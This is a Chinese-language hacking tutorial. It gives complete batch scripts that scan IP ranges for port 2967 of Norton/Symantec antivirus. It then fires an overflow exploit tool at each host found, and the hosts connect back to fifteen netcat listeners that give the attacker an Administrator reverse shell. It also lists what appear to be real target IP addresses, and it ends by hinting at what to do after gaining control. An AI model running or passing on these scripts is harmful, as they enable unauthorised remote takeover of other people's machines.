编写批处理文件利用诺顿2967端口溢出获得控制权

需要准备的软件工具：

s.exe      symantec.exe      nc.exe

1、首先编写一个批处理文件利用s.exe扫描远程机器的2967端口。

文件名为sao.bat,内容如下：

@echo Title 诺顿2967扫描工具,制作bye 高迪
color A
@set IPSTART=
@set IPEND=
@set XIANCHENG=5
@echo 在进行溢出之前，您必须进行扫描.
set /p IPSTART=请输入起始地址：
set /p IPEND=请输入结束地址：
set /p XIANCHENG=请输入s.exe扫描的线程数(缺省为5个)：
echo 现在正在扫描,如果您要停止该进程请按Ctrl+C.
s.exe tcp %IPSTART% %IPEND% 2967 %XIANCHENG% /save

2、扫描结束后打开Result.txt将扫描到的ip地址复制在host.txt文件内保存，文件格式如下（每行一个IP即可）：

218.56.22.114
202.152.40.146
202.152.41.28
202.152.41.31
202.152.41.29
202.152.41.30
202.152.41.200
202.152.41.201
202.152.41.203
202.152.41.202
202.152.41.204
202.152.41.205
202.152.41.206
202.152.41.207
202.152.41.208
202.152.41.209
202.152.41.210
202.152.41.211
202.152.41.212
202.152.41.213
202.152.41.214
202.152.41.215
202.152.41.249
202.152.41.250
202.152.41.251
202.152.41.252
202.152.41.253
202.152.41.254
202.152.41.248

3、编写nc2008.bat,内容如下：

@echo off
@start nc -vv -l -p 1234
@start nc -vv -l -p 1234
@start nc -vv -l -p 1234
@start nc -vv -l -p 1234
@start nc -vv -l -p 1234
@start nc -vv -l -p 1234
@start nc -vv -l -p 1234
@start nc -vv -l -p 1234
@start nc -vv -l -p 1234
@start nc -vv -l -p 1234
@start nc -vv -l -p 1234
@start nc -vv -l -p 1234
@start nc -vv -l -p 1234
@start nc -vv -l -p 1234
@start nc -vv -l -p 1234

4、编写2967.bat,内容如下：

@set IP=
color B
echo 探测本机IP地址并赋值给IP
for /f "tokens=15" %%i in ('ipconfig ^| find /i "ip address"') do set ip=%%i
@for /f %%i in (host.txt) do symantec -r %%i -l %IP% -d 1234

5、 好了，运行nc2008.bat,再运行2967.bat,观察刚才打开的15个CMD窗口，如果有哪个窗口返回C:\Documents and Settings\Administrator> 就OK了，输入ipconfig 看看该机器IP地址是什么，用ver查看一下系统版本，后面的步骤我就不说了。嘿嘿。。。搞定。。。。。。。。。

不过现在绝大多数机器已经把这个漏洞都补上了，扫描可能要费很大功夫。

#网络安全